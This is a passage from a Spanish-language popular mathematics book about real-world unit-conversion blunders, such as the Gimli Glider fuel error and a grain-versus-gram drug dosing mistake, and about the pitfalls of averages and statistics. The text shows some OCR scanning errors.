pidié un nuevo procesador, olviddndose de volver a desactivar el disyuntor. El capitdn Pearson
entrd en la cabina y vio todos los indicadores de combustible en blanco y una etiqueta en uno de
los disyuntores que decia «inoperante», que es exactamente lo que esperaba después de
malinterpretar la conversacion que tuvo con el capitdn Weir. Debido a esta desafortunada serie de
sucesos, un piloto estaba preparandose para volar con un avion en el que no funcionaba ningin
indicador de combustible.

Esto no hubiera estado tan mal si los célculos realizados para valorar cuanto combustible
quedaba hubieran sido correctos. Pero estamos en los primeros afos de la década de 1980 y
Canadé estaba iniciando su transicion de las unidades imperiales a las métricas. De hecho, la
nueva flota de aviones Boeing 767 era la primera de Air Canada que utilizaba las unidades
métricas. El resto de aeronaves de Air Canada seguia midiendo su combustible en libras.

Para complicar las cosas atn mas, la conversiéon de volumen a masa utilizaba el factor
titulado enigmaticamente «densidad relativa». Si se hubiera llamado «libras por litro» o
«kilogramos por litro», el problema se habria evitado. Pero no fue asi. Por lo que, después de
medir la profundidad a la que llegaba el combustible en el tanque en centimetros y convertirlo
exitosamente en litros, todo el mundo utilizaba una densidad relativa de 1,77 para hacer la
conversion: es el nimero de libras por litro para el combustible a esa temperatura. La densidad
relativa correcta de kilogramos por litro deberia haber sido de 0,8. Y ya se habia cometido un
error de conversion antes del despegue en Montreal y de nuevo durante la escala en Ottawa.

Por lo que, como era de esperar, a mitad de vuelo, después de dejar Ottawa, el avion se
quedod sin combustible y en pocos minutos fallaron ambos motores. Esto provocd una senal de
error, ;bong!, en la cabina que ninguno de los presentes alli habia oido con anterioridad. Yo me
pongo muy nervioso cuando mi portatil hace un ruido que no habia escuchado hasta entonces; no
puedo ni imaginarme cémo debe sentarte eso cuando estas pilotando un avion.



El problema principal cuando fallan ambos motores es que, evidentemente, el avion ya no
tiene potencia para volar. Otro tema menor, pero, aun asi, importante, es que todos esos novedosos
dispositivos electronicos de la cabina de mando necesitaban energia para funcionar y, ya que
funcionaban gracias a un generador conectado directamente a los motores, toda la avidnica dejé
de funcionar. Los pilotos solo pudieron utilizar los dispositivos andlogos: una brujula magnética,
un indicador del horizonte, un indicador de la velocidad aerodindmica y un altimetro. Ah si, y los
flaps y slats que normalmente controlan el ritmo y velocidad de descenso también empleaban la
misma fuente de energia, por lo que tampoco funcionaban.

El unico golpe de buena suerte fue que el capitan Pearson también era un piloto de vuelo sin
motor muy experimentado, lo cual fue muy util. Fue capaz de planear con el Boeing 767 durante 64
kilometros hasta el aerodromo de una base militar abandonada en la ciudad de Gimli. Era una
pista de tan solo 2,19 kilémetros de longitud, pero el capitan Pearson fue capaz de posar la nave a
240 metros del inicio de la pista.

PASO 1: Calculo del combustible a bordo:

Lecturas manuales: 62 y 64 centimetros

Conversion a litros: 3.758 y 3.924 litros

Litros totales a bordo: 3.758 + 3.924 = 7.682 litros.

PASO 2: Conversion de litros a bordo en kilogramos:
7.628 litros x 1,77 =13.597
Al multiplicarlo por 1,77 dan libras, pero todo el mundo pensé que eran kilogramos.

PASO 3: Calculo del combustible que habia que afiadir:
Combustible minimo necesario, 22.300 kilogramos — combustible a bordo, 13.597 supuestos kilogramos = 8.703
kilogramos.

PASO 4: Conversion en litros de kilogramos que hay que afiadir:
8.703 kilogramos + 1,77 = 4.916 supuestos litros.

El calculo correcto utilizando el combustible minimo necesario como base, es decir, 22.300 kilogramos, como
exige el plan de vuelo, deberia ser tal como sigue:

PASO 1: 3.924 + 3.758 litros de las primeras lecturas manuales de 64 y 62 centimetros = 7.682 litros de
combustible a bordo.

PASO 2: 7.682 x 1,77 +2,2 = 6.180 kilogramos de combustible a bordo, antes del repostaje.

PASO 3:22.300 — 6.180 = 16.120 kilogramos de combustible que se ha de cargar.

PASO 4:16.120 + 1,77 x 2,2 =20.036 litros que se han de cargar.

Desglose de como se erro en los cdalculos procedentes del informe oficial sobre el accidente realizado por la
Comision de Investigacion.

En un segundo golpe de buena suerte, el tren de aterrizaje frontal fallo, provocando que la
parte frontal del avion fuera rozando el suelo, con lo que proporcionaba una friccion de frenado
muy necesaria dado el caso, gracias a la cual el avidn logré pararse antes de que se acabase la
pista (para alivio de las personas que estaban en tiendas y caravanas en el terreno situado a
continuacién, que ahora se utilizaba como pista de carreras de aceleracion). Otra de las



consecuencias de que no funcionen los motores de un 767 es que el vuelo es mucho mas
silencioso. Algunas personas temieron por sus vidas cuando un avion comercial birreactor
aparecio repentinamente sobre la pista abandonada, como si hubiera salido de la nada.

Aterrizar un avion como si fuera un planeador fue una hazana descomunal. Cuando a otros
pilotos se les puso en un escenario parecido en un simulador de vuelo, acabaron estrellandose.
Después de que el Boeing 767 fuese reparado y volviera a ser utilizado en un vuelo de Air
Canada, paso a ser conocido como el Planeador de Gimli y se hizo merecidamente famoso.

Finalmente, fue apartado del servicio en 2008 y ahora esta en un desguace de aviones en
California. Una compafiia emprendedora compr6 algunas partes de su fuselaje y ahora vende
etiquetas de equipaje fabricadas a partir del revestimiento metalico del Planeador de Gimli.
Supongo que la idea es que el avion fue muy afortunado por sobrevivir a una situacién muy
peligrosa, por lo que tener un trocito del avion deberia dar buena suerte. Pero una vez mas, la
inmensa mayoria de aeronaves nunca se estrella, por lo que, estrictamente hablando, este avidon
tuvo mala suerte. Compré un trozo del fuselaje y lo tengo pegado en mi ordenador portatil, aunque
no parece que eso haya hecho que se golpee mas o menos de lo habitual.

Y, solo para equilibrar un poco el relato, encontré un error de la aviacion en el que la
confusion libras-kilogramos se desequilibro hacia el otro lado. En el caso del Planeador de Gimli,
los calculos del combustible se hicieron en kilogramos, aunque se rellend el tanque utilizando una
unidad menor, las libras: la consecuencia es que pusieron demasiado poco combustible. El 26 de
mayo de 1994, la carga de un vuelo de mercancias que volaba desde Miami, Estados Unidos, a
Maiquetia, Venezuela, se peso6 en kilogramos, cuando tanto el equipo del vuelo como el de tierra
pensaron que era en libras, por lo que el cargamento pesaba casi el doble de lo que deberia.

Su desplazamiento por la pista fue descrito como «muy lento», aunque, a pesar de ello, el
avion logré despegar. En lugar de tardar treinta minutos en alcanzar la altura de crucero después
de despegar, necesitd una hora y cinco minutos. Ademas, el vuelo consumi6 una cantidad
sospechosamente grande de combustible. En el juicio resultante se calculd que, cuando el avion
aterrizo en Venezuela, llevaba 30.000 libras de sobrepeso, que son unos 13.600 kilogramos (mas
de la cantidad total de combustible con la que despeg6 el Planeador de Gimli).

Me hace sentir un poco mejor por todas las veces que pienso que he cargado demasiado mi
maleta. Pero también me siento mucho menos seguro cuando vuelo entre paises que utilizan
unidades diferentes (que basicamente son Estados Unidos por un lado y el resto del mundo por
otro). jTengo que apresurarme y decidir si el trozo que tengo del Planeador Gimli trae mala o
buena suerte!

No se olvide de la etiqueta con el precio

Es fécil olvidar que las monedas de cada pais son unidades. 1,41 ddlares es una cantidad muy
diferente a 1,41 centavos, pero, a menudo, algunos entienden intuitivamente el punto decimal como
una marca de puntuacion para separar los ddlares de los centavos, por lo que consideran que son
equivalentes. Existe una llamada telefonica muy famosa en internet grabada en 2006 cuando el
residente estadounidense George Vaccaro llam6 a su proveedor de telefonia moévil Verizon



después de un viaje a Canada. Antes del viaje le habian confirmado que el cambio para los datos
que consumiera mediante roaming en Canada se le cobrarian a 0,002 centavos por kilobyte, pero
después del viaje le cargaron 0,002 dolares por kilobyte.

La factura del sefior Vaccaro ascendio a 72 dolares por unos 36 megabytes, que hoy en dia
parecen ridiculos después de mas de una década de mejoras tecnoldgicas, pero en esa época era
una cantidad aceptable y el precio «correcto» de 0,72 dolares deberia haber sido ridiculamente
pequefio. Verizon habia cometido un error cuando le comentd sus tarifas. Pero el sefior Vaccaro
habia guardado la respuesta con la tarifa ofrecida y ahora intentaba averiguar qué era lo que habia
cambiado. Es un poco doloroso escuchar la llamada, sus veintisiete minutos, a medida que al
sefior Vaccaro se lo van pasando de un gerente a otro. Ninguno de ellos se percata de la diferencia
entre 0,002 doélares y 0,002 centavos y utilizan ambos numeros indistintamente. No puedo pasar
por alto la parte en la que uno de los gerentes define el calculo incorrecto como «obviamente, se
trata de una diferencia de opiniony.

Hay una complicacién afiadida cuando se trata de grandes sumas de dinero. Los multiplos
que nos resultan practicos son unidades por derecho propio, pero, cuando se trata con algo como
metros y kilometros, mucha gente tiende a pensar que se trata de unidades diferentes. Los
kilémetros son realmente una combinacion de la unidad de distancia de un metro con la «unidad de
tamafio» de un millar. Pero con el dinero, estas unidades causan problemas.

Esta es la base de un meme que circulé en 2015 cuando la Ley de Atencion Sanitaria
Asequible de Obama estaba en marcha, pero los problemas dentales no eran cubiertos por todos
los planes de seguros. Un objetivo facil para los criticos era el coste de la implantacion del
Obamacare. Circul6 por todas partes que el coste de la introduccion del programa seria de 360
millones de dolares, sin duda, una cantidad enorme de dinero: casi un tercio de un millardo de
dolares. Por lo que las personas de la derecha del espectro politico buscaron formas de resaltar
cuanto dinero era esa cantidad. Y nacio este meme:

Es facil ver cudl es su fallo. 360 millones de dolares entre 317 millones de personas no sale
1 millon de dolares para cada uno, es apenas 1 dolar por cabeza. No un millon. Un misero pavo.

A pesar de ser bastante facil desacreditar a alguien dividiendo un nimero por otro, este
meme circulé como calculo legitimo. Soy consciente de que las personas son mucho menos
criticas cuando se trata de una evidencia que respalda sus creencias politicas, pero me gustaria
creer que incluso las pruebas que confirman lo que piensas deben pasar al menos alguna
comprobacion rudimentaria antes de ser puestas en circulacion. Soy partidario de la teoria segin
la cual al menos la amenaza de humillacién publica disuadird a las personas de apoyar



reclamaciones claramente inverosimiles. Una parte de mi sigue creyendo que cualquiera que
defienda este meme del Obamacare es un troll y que lo hace para divertirse. Pero démosles el
beneficio de la duda e intentemos averiguar por qué esta afirmacion falsa fue tan tenaz.

Mi version favorita de las que aparecen en internet tiene al protagonista respaldando la
afirmacion de que 360 millones de ddlares divididos por 317 millones de personas da un millén
por persona (con calderilla sobrante) explicandolo de esta manera:

Hay 317 personas y tienes 360 sillas. ;Tienes las suficientes sillas para que todos se sienten?

Bueno, la respuesta es si. El hecho de que 360 sea mas grande que 317 parece ser una parte
fundamental de su argumento, y nadie se opone a esa logica. Pero, por alguna razon, estas personas
no pueden ver que esa misma ldgica no se sostiene cuando tienes millones de ddlares y millones
de personas. Y creo que esta afirmacion ofrece una idea de por donde se desmorona su logica:

Ambas unidades son millones, por lo que no hay diferencia.

Estan tratando con «millones» como una unidad y restan en lugar de dividir. Lo que, en
algunas situaciones, jfunciona!

Pregunta rapida: si yo tengo 127 millones de ovejas y vendo 25 millones, ;cudntas me
quedan? Correcto: 102 millones. Les puedo asegurar que, en sus cabezas, «eliminaron» la palabra
millon de esos nimeros y realizaron el céalculo directo de 127 — 25 = 102, y luego volvieron a
colocar la palabra millon para obtener la respuesta final de 102 millones. Tratd el «milléon» como
una unidad que se podia ignorar, ya que era conveniente hacerlo. Pero es muy importante aclarar
que, en este caso, jfunciona!

Aunque, para millones de personas, son las mismas matematicas, solo hay que afiadir ceros.

En este caso estoy de acuerdo con el argumentador: se puede utilizar «millones» como parte
de una unidad. Y cuando se suman y restan numeros escritos en las mismas unidades, estas
siempre son las mismas. Pero si empezamos a multiplicar y dividir, entonces las unidades pueden
cambiar. Nuestro apasionado amigo elimindé mentalmente los millones, realizé una comparacion
por sustraccion para demostrar que 360 es mayor que 317 y luego fracasé completamente al no
darse cuenta de que también hacia una division implicita de 360 + 317 = 1,1356 para demostrar
que a todo el mundo le toca un poco mas de «unoy.

,Un poco mas de uno de qué? Colocan de nuevo las unidades de «millones de dolares» y
concluye que todo el mundo obtiene algo mas de un millén de ddlares. Pero si dividimos los dos
nameros, también hay que dividir sus unidades. Por lo que los millones se cancelan y lo que
recibe realmente todo el mundo es 1,14 dodlares. Por lo que, en su mayor parte, la logica tiene
alguna justificacion; simplemente se derrumba ante el tltimo obstaculo que suponen las unidades.

Puede que esta sea la mayor fuente de errores matematicos cotidianos. Solemos estar
acostumbrados a realizar un calculo en una situacioén dada, y luego utilizamos el mismo metido en
otra situacién, en la que no funciona. Sospecho que las personas que pasaron este meme de manera
sincera, lo miraron y sus cerebros hicieron algo como ver millones como una unidad que podian
excluir de su calculo y luego recolocarlo de nuevo una vez acabada la operacion.



Si tienes 317 personas y 360 pollos para repartir, jtodo
el mundo recibe una gallina? Si

Mo, mira, si reparies un millén de dolares a solo 360 personas e
guedas sin dinero. 1 milldn de ddélares para 10 personas son 10 millones de
ddlares. 1 millon de ddlares para 100 personas son 100 millones de ddlares.
1 millén de délares para 360 personas son 360 milones de ddlares.

Mo sé quién te ensend matematicas, pero no es asi como
se hace. 317 millones de personas pueden recibir 1 millon de ddlares cada
uno y todavia nos sobrarian 43 millones.

Afortunadamente, esto ocurrié en 2015, y en los afios que han pasado desde entonces las
personas han mejorado a la hora de detectar las noticias falsas que aparecen en la red.

A contracorriente

Una ultima historia en la que interviene la libra, aunque en este caso se trata de una fraccion mas
pequefia de la libra: el grano. En el sistema de unidades de peso de los boticarios, una libra se
puede dividir en 12 onzas, cada una de las cuales equivale a 8 dracmas. Un dracma tiene 3
escrupulos, cada uno de los cuales tiene 20 granos. Espero que eso tenga sentido. Un grano es una
5.760* parte de una libra. Pero no de una libra normal, sino de una libra de troy, la cual es
diferente de la libra normal. Y la gente se pregunta por qué se invent6 el sistema métrico...

Dé¢jenme intentarlo de nuevo. Un kilogramo son 1.000 gramos, los cuales se pueden dividir
en 1.000 miligramos cada uno. Un grano es una unidad arcaica que equivale a unos 64,8
miligramos. jPuf! Asi ha sido mas facil.

El problema es que, en Estados Unidos, el sistema de unidades de los boticarios todavia se
utiliza como uno de los sistemas para pesar las medicinas. En la larga lista de lugares en los que
no le gustaria estar en el extremo receptor de los errores producidos por tener sistemas de
unidades que entran en conflicto, la medicina ha de estar en los primeros lugares. Y, para colmo de
males, la abreviatura de grano es «gr», que puede confundirse muy facilmente con un gramo.

Y, como era de esperar, asi sucede. A un paciente que tomaba Fenobarbital (un firmaco
antiepiléptico) le prescribieron 0,5 gr por dia (32,4 miligramos), y lo confundieron con 0,5
gramos por dia (500 miligramos). Después de tres dias tomando una dosis unas quince veces
superior a la normal, el paciente empez6 a sufrir problemas respiratorios. Por suerte, cuando le
retiraron la dosis, se recuperd completamente. Este fue un caso en el que se puede aplicar el dicho
de «grano a grano se hace la mortajay.



Once

ESTADISTICAS COMO A Mi ME GUSTAN

Aunque naci en Perth, Australia Occidental, he vivido en el Reino Unido tanto tiempo que mi
acento es ahora de un 60 % a un 80 % britdnico. A pesar de que me gustan los deportes, no soy un
gran aficionado a ninguno de ellos, y ha pasado mucho tiempo desde que hice mis ultimas gambas
a la barbacoa. No soy un australiano tipico. Pero, claro, nadie lo es.

Después del censo de 2011, la agencia australiana de estadistica publicé como era el
australiano medio: mujer de treinta y siete afios que, entre otras cosas, «vive con su marido y dos
hijos (un nifio y una nifia de nueve y seis afos respectivamente) en una casa con tres dormitorios y
dos coches en un barrio periférico de una de las capitales australianas». Y luego descubrieron que
dicha persona no existe. Rastrearon todos los registros y no habia ni una sola persona que
cumpliera con todos los criterios que la definirian como la auténtica persona australiana media. Y
sefialaron, con acierto, que:

Aunque la descripcion de la persona australiana media puede sonar bastante tipica, el hecho de que nadie
cumpla con todos esos criterios demuestra que la idea de «persona media» oculta la enorme (y
creciente) diversidad de Australia.

Agencia australiana de estadistica

Cuando se trata de medir poblaciones, un censo es, en cierto sentido, una situacion extrema.
Cuando una organizacion desea saber algo sobre una poblacidn, suele analizar una muestra
pequena y suponer que esta es representativa de todos los demds. Pero un gobierno tiene la
capacidad de hacerlo a mayor escala y encuestar absolutamente a todo el mundo. Esto acaba
produciendo una apabullante cantidad de datos, los cuales, irénicamente, luego se ven reducidos a
estadisticas representativas.

La Constitucion de Estados Unidos exige que se haga un censo nacional cada diez afios. Pero,
en 1880, debido al incremento de poblacioén y de la cantidad de preguntas que se hacian en el
censo, fueron necesarios ocho afios para procesar todos los datos. Para arreglar el problema se
inventaron unas maquinas tabuladoras electromecénicas que podian determinar la cantidad total de
datos que habian sido almacenados en tarjetas perforadas. Las maquinas tabuladoras se utilizaron
en el censo de 1890 y lograron finalizar el andlisis de los datos en tan solo dos afios.

No mucho mas tarde, las maquinas tabuladoras ya estaban realizando procesos cada vez mas
complicados con los datos: los clasificaban siguiendo criterios diferentes e incluso realizaban
algunas matematicas basicas en lugar de simplemente hacer recuentos. Se puede decir que la
necesidad de analizar los datos de los censos propicié la aparicion de nuestra industria
informatica moderna. La primera maquina tabuladora que utilizaba tarjetas perforadas y que fue



disefiada para los censos fue inventada por Herman Hollerith, quien fund6 la Tabulating Machine
Company, que finalmente se fusiond con otra empresa que se dedicaba a 1o mismo y acab6é dando
lugar a IBM. Puede que haya una linea evolutiva directa entre el ordenador que usamos hoy en dia
en el trabajo y las maquinas que clasificaban tarjetas perforadas hace mas de un siglo.

Esa es la razon por la que encontré especialmente gratificante el censo realizado en Australia
en 2016. Resulta que estaba en el pais durante el que iba a ser el primer censo australiano que se
realizaria casi completamente en linea y la agencia australiana de estadisticas habia otorgado el
contrato para la elaboracion del censo a la mismisima IBM. Resultdé que IBM hizo una chapuza y
la pagina del censo estuvo inoperativa durante cuarenta horas, pero, si ignoramos ese dato, era
bonito ver todavia a IBM en la vanguardia de la tecnologia relacionada con el negocio de los
censos. Aunque, dado como manejo el trafico su pagina, igual deberian haber vuelto a utilizar la
maquina tabuladora con tarjetas perforadas.

(Esta nueva encuesta produciria un australiano o australiana medio que si existiera? Cuando,
en 2017, regresé a Australia y hojeé el periodico West Australian, me encontré inesperadamente
un articulo sobre los resultados del censo del afio anterior. El periddico resaltaba que el
«australiano occidental» medio seria: un hombre de treinta y siete afios con dos hijos, habiendo
nacido uno de sus progenitores en el extranjero, etc. Salté parte del texto buscando la parte en la
que el periodista que escribia el articulo reconoceria que fue incapaz de encontrar a alguien que
encajara con todos esos criterios.

Pero, en cambio, me encontré la cara de Tom Fisher sonriéndome directamente. El
mismisimo sefior Medio.

Lo habian conseguido. Encontraron a alguien que encajaba, supuestamente, con la mayoria de
los criterios del ciudadano medio. El mismo Tom no parecia muy ilusionado con el titulo de
«australiano Medio», sefialando que trabaja como musico (es una parte bastante importante de la
banda de Australia Occidental llamada Tom Fisher and The Layabouts). Pero, segin el periddico,
merecia ese titulo porque era:

* un hombre de treinta y siete afios;

* ha nacido en Australia y tiene al menos un progenitor nacido en el extranjero;

* habla inglés en casa;

* estd casado y tiene dos hijos;

» realiza entre cinco y catorce horas de labores domésticas no remuneradas por semana;
* tiene una hipoteca sobre una casa con cuatro dormitorios y con dos coches en el garaje.

Esta es una lista mas corta que la del australiano medio del censo anterior, pero era
impresionante que hubieran encontrado a alguien que encajaba con todos los criterios. Busqué a
Tomy le escribi un correo electronico para preguntarle sobre su «cualidad de medio». Perth no es
tan grande, y no hizo falta mucha blisqueda por internet ni preguntar por ahi para localizarle.
Parece que ha asimilado su papel de australiano Medio y me ofrecié amablemente su «cualidad de
medio» para ayudarme en lo que pudiera. Le expliqué lo sorprendido que estaba con que existiera
y con el hecho de que encajara con todos los criterios;

«Si, tio, puedo confirmarte que cumplo con todos los criterios del australiano medio, excepto
que tanto mi padre como mi madre son de aqui.»



iLo sabia! El periodico fue deliberadamente impreciso, y Tom no cumplia todos los criterios.
Y me cuesta reconocerlo. Pensaba que tal vez la gente se quedaria mas con la idea que ¢l
representaba que con el hecho de que no cumplia algin criterio. Pero, en resumen, es interesante
que, incluso con muy pocos criterios que cumplir, el periddico West Australian no encontrara al
australiano medio.

Habiendo desenmascarado al que habian presentado como australiano medio, estaba
preparado para arreglar las cosas y encontrar un sustituto. Contacté con la Agencia Australiana de
Estadistica (ABS por sus siglas en inglés) para ver si era posible encontrar a alguien que
cumpliera con los pocos criterios que utilizd el periddico, en lugar de usar todo el rango de
estadisticas empleadas en el censo. Las personas de la ABS que me atendieron fueron muy
amables conmigo y mi peticion les parecid lo bastante interesante como para bucear entre los
datos por mi. Al ampliar la poblacion a tener en cuenta, de Australia Occidental a todo el pais
cambiaban ligeramente los individuos medios; el australiano medio era ahora una mujer que
cuenta con un dormitorio menos en su hogar. Calcularon que, para la definicién mas laxa de
australiano medio (utilizando solo algunos criterios principales), deberian existir «unas
cuatrocientas» personas de una poblacion total de la Australia de esa época de 23.401.892
personas, que cumplieran con esos criterios.

Asi pues, tenemos que el 99,9983 % de la poblacion australiana no se puede considerar un
australiano o australiana medio. Después de todo, diria que estoy en muy buena compaiiia.

Si los datos encajan

Durante la década de 1950, la Fuerza Aérea de Estados Unidos descubrio de la manera mas dura
que nadie es un ciudadano medio. Los pilotos que participaron en la segunda guerra mundial
llevaban uniformes bastante anchos y las cabinas de los aviones eran lo suficientemente grandes
para albergar un amplio rango de tipos corporales. Pero las exigencias de la nueva generacion de
aviones de combate eran mayores, tanto por sus cabinas compactas como por las indumentarias
mas ajustadas (para que conste, esa es la descripcion que hace la Fuerza Aérea de Estados Unidos
sobre la indumentaria de los pilotos). Necesitaban saber con exactitud el tamafio de su personal de
vuelo para asi fabricar aviones y uniformes en los que los pilotos encajaran a la perfeccion.

Las fuerzas aéreas enviaron a un equipo de expertos medidores a catorce de sus bases en las
que midieron a un total de 4.063 personas.! A cada una se le tomaban 132 medidas diferentes,
incluyendo algunas clasicas como la altura a la que estan los pezones, la longitud de la nariz, la
circunferencia de la cabeza, la circunferencia del codo (flexionado) y la distancia de las nalgas a
la rodilla. El equipo de medicion fue capaz de hacer todo esto en tan solo dos minutos y medio por
persona, midiendo a unas 170 personas por dia. Los que recibieron los datos la calificaron como
la «medicidon mas rapida y completa que habian recibido.

Para cada una de las 132 mediciones, el equipo tenia luego que hallar la media, la desviacion
estandar, la desviacion estandar como porcentaje de la media, el rango y los valores de
veinticinco percentiles diferentes. Por lo que, por supuesto, acudieron a los superordenadores de
la época: las maquinas tabuladoras de IBM con tarjetas perforadas. Los datos se introducian en
las tarjetas perforadas que luego podian ser clasificadas y tabuladas por las maquinas
electromecénicas. Los calculos estadisticos se llevaban a cabo con calculadores mecéanicas de



sobremesa. En la actualidad, puede parecernos un poco pesado, pero en esa época les debid
parecer algo magico el hecho de poder disponer de datos clasificados por una enorme y ruidosa
maquina y que la aritmética la realizara una simple maquina manual que podias tener sobre tu
escritorio. Lo mismo ocurrird dentro de medio siglo, cuando la gente no creera que, durante los
primeros afios del siglo xx1, teniamos que conducir nuestros propios coches o teclear fisicamente
los mensajes de texto nosotros mismos.

Dado que la tecnologia moderna estaba haciendo la clasificacion de las hojas grabadas, las
utilizadas para registrar los datos de los uniformes no necesitaban estar ordenadas para facilitar el
posterior procesamiento de los datos. En cambio, si que estaban dispuestas de tal forma que
minimizaran los posibles errores humanos e incluso redujeran la frecuencia con la que las
personas tenian que soltar diferentes instrumentos y luego recogerlos. Las medidas obtenidas
mediante una cinta métrica aparecian todas en una columna, y las obtenidas con un calibrador en
otra. Fue uno de los primeros casos en los que se reducia el error mediante un disefio ajustado a la
experiencia del usuario.

Se esforzaron mucho para reducir todas las fuentes de error de la encuesta. Se eliminaron los
valores atipicos, y se trataron los casos limite basandose en la regla de baloncesto de «sin dafio
no hay falta»: si no estaba claro que un valor concreto fuera un error o solo un valor extremo,
comprobaban si al eliminarlo se producia alguna diferencia en las estadisticas generales. Si no era
asi, jproblema evitado! Y todos los calculos estadisticos se realizaban dos veces y de dos formas
diferentes (si era posible). Algunas medidas estadisticas se pueden obtener a partir de mas de una
formula, por lo que las utilizaban todas para asegurarse de que obtenian la misma respuesta con
todas ellas.

(Cuan cerca esta usted del promedio?

Antropometria del Personal de Vuelo de las Fuerzas Armadas (1950)

(Es similar la altura de sus pezones a la de este tipo de 1950? ;Esta usted mas o menos ilusionado que €l
porque se lo hayan medido?




Ademas de los hallazgos estadisticos, se realizd un informe titulado «;El “Hombre
Medio”?», en el que se cuestionaba la existencia misma de una bestia mitica como esa. Se
utilizaron las tallas de los uniformes como ejemplo perfecto. Los sondeos realizados a esas
personas se podian utilizar para crear un nuevo uniforme estdndar que encajara con las medidas
que se desviaban un maximo del 30 % del promedio, descritas como «promedio aproximadoy.
Pero ;cuantas de las 4.063 personas que participaron en el sondeo llevan un uniforme que
encajara en ese 30 %? La respuesta es cero. Ningin miembro de las 4.063 personas estudiadas
estaba en el porcentaje promedio de las diez medidas relacionadas con el uniforme.

La tendencia a pensar en términos de «hombre medio» es una trampa en la que muchas personas caen
cuando intentan aplicar los datos de los tamafios de cuerpos humanos a los problemas relacionados con
el disefio. En realidad, es virtualmente imposible encontrar un «hombre medio» entre la poblacion de las
fuerzas aéreas. Y no es porque este grupo de hombres posea rasgos Unicos, sino que es debido a la gran
variabilidad de las dimensiones corporales que caracterizan a todos los hombres.

«El “hombre medio”?», Gilbert S. Daniels

Gilbert Daniels formé parte del equipo que dirigid el sondeo realizado al personal de las
fuerzas aéreas. Habia estudiado antropologia fisica y habia descubierto, durante sus estudios, que
al medir las manos de la poblacion ciertamente homogénea de estudiantes varones de Harvard,
existia una amplia variedad de mediciones y que las manos de ninglin estudiante se acercaban a lo
que seria el promedio. No tengo ni idea sobre como obtuvo esas mediciones. Pero me encanta
imaginar a Daniels yendo de un lado al otro del campus para convencer a sus compafieros de que
le permitieran acceder a sus datos privados, como una especie de Zuckerberg obsesionado por el
tamafio de las manos.

oximadamente la circunferencia del pecho Promedlid

rencia del coello promedio

erencia de la cintura promedic
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El informe de Daniels convenci6 a las fuerzas aéreas de que no intentaran encontrar a una
persona media, sino que se las ingeniaran para dar acomodo a la variacion. Ahora es algo
conocido y parece bastante obvio, pero cosas como los asientos ajustables de los coches y las



correas de los cascos que se pueden alargar y encoger empezaron cuando las fuerzas aéreas
aceptaron la existencia de la variedad en las medidas. El sondeo acabo siendo 1til, no a la hora de
demostrar como era la persona media de las fuerzas aéreas, sino por mostrar cudnta variedad
existia.

Algunos promedios son mas homogéneos que otros

En 2011, la pagina web OKCupid tenia un problema muy comun entre las paginas de citas: sus
usuarios atractivos estaban siendo saturados con mensajes, y esa clase de relacion senal/ruido
podia alejarlos de la pagina web. Los usuarios podian calificar el aspecto de los demas en una
escala del 1 al 5, y aquellos cuya puntuacion media se hallaba en la parte alta del espectro de
belleza recibian veinticinco veces mas mensajes que los situados en el otro extremo. Pero resulta
que los tios que fundaron OKCupid eran matematicos, y la pagina tiene tanto que ver con los datos
como con las citas. Por lo que analizaron las estadisticas y, mientras lo hacian, encontraron algo
interesante.

Las personas que se hallaban en la zona alta de la puntuacion sobre su atractivo, pero no en
el extremo, es decir, con puntuaciones cercanas a 3,5, estaban recibiendo una cantidad variable de
mensajes de un rango muy amplio. Un usuario con una puntuacién promedio de 3,3 recibia 2,3
veces la cantidad habitual de mensajes, pero alguien con un nivel de 3,4 en esa misma escala
recibia tan solo 0,8 veces la cantidad habitual de mensajes. Habia algo mas aparte de su nota
promedio de belleza que influia en la cantidad de atencion que recibia de los demas usuarios.

Si un usuario tenia una puntuacion promedio de 3,5, habia multiples formas por las que otros
usuarios podian haberlo puntuado entre 1 y 5 para que el promedio fuera ese. Lo que el fundador
de OKCupid, Christian Rudder, descubri6o es que las personas que obtenian una puntuacion
aproximada de 3,5 porque un montén de personas les puntu6 con un 3 o con un 4 no recibian, ni de
cerca, tantos mensajes como los usuarios que lograban ese 3,5 gracias a un montéon de
puntuaciones de 1 y 5. El indicador de la cantidad de mensajes no era el valor promedio de la
puntuacioén de belleza, sino, mas bien, como se distribuian las puntuaciones. La conclusion de
Rudder fue que los usuarios tenian dudas a la hora de mandar un mensaje a alguien que pensaban
que todos los demds encontrarian atractivo y centraban su atencién en personas que ellos
encontraban atractivas pero que al mismo tiempo pensaban que los demas no.

La distribucion de los datos se puede medir con la desviacion estandar (o varianza, que es la
desviacion estandar al cuadrado). Los usuarios de OKCupid con la misma puntuacién promedio
podian tener desviaciones estdndar muy diferentes y ese dato seria un indicador mejor de la
cantidad de mensajes que recibirian. Asi es como ocurrid en este caso, pero es posible que otros
conjuntos de datos diferentes no solo tengan el mismo promedio, sino también la misma
desviacion estandar.



Estos dos conjuntos de veinte puntuaciones dan un promedio de 3,5, pero ;qué grdfico le parece mas
atractivo?

En 2017, dos investigadores de Canada crearon una imagen de un dinosaurio que no era mas
que doce conjuntos de datos, todos con las mismas medias y desviaciones estandar. El
«Datasaurio» era una coleccién de 142 pares de coordenadas que, cuando se colocaban en un
grafico, parecian un dinosaurio. Los «doce del Datasaurio» consistian en doce conjuntos
adicionales de 142 datos, los cuales, con dos cifras decimales, daban las mismas medias tanto en
direccion vertical como horizontal y las mismas desviaciones estandar en ambas direcciones,
como el Datasaurio.2 Si no se creaban los graficos, estos conjuntos de datos no eran mas que
nameros escritos en un papel: es una leccion valiosa sobre la importancia de la visualizacion de
los datos. Y para no confiar en las estadisticas de los titulares.
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Para todos los graficos: media vertical = 47,83, desviacion estandar vertical = 26,93; media horizontal =
54,26, desviacion estandar horizontal = 16,79. Algunos de los Doce del Datasaurio. Yo le habria l[lamado
Triceraplots.

Esto deberia sesgar algun tiempo

Primero, obtienes las estadisticas; luego, las analizas. El modo en el que se recogen los datos es
tan importante como la forma en la que se analizan. Hay muchas clases de sesgos que se pueden
introducir durante la recoleccion de los datos y que pueden influir en las conclusiones que se
extraigan. Cerca de donde vivi en el Reino Unido, hay un puente que cruza un rio que se cree que
fue construido por unos monjes durante el siglo xi1. Dado que se trata de un puente que ha
sobrevivido unos ochocientos afos, esos monjes debian saber muy bien lo que hacian. Hay una
sefal en el puente que indica que los estribos del puente tienen una forma determinada para que la
turbulencia del agua que pasa a su través disminuya, reduciendo asi la erosion del puente. Unos
monjes muy listos.

(Lo eran? ;Como podemos saber si los monjes eran malos construyendo puentes? Todos los
malos, o se habran caido o habran sido sustituidos por otros en todo el tiempo que ha pasado
desde entonces. En el siglo xiii, estarian construyendo puentes todo el tiempo, seguramente con
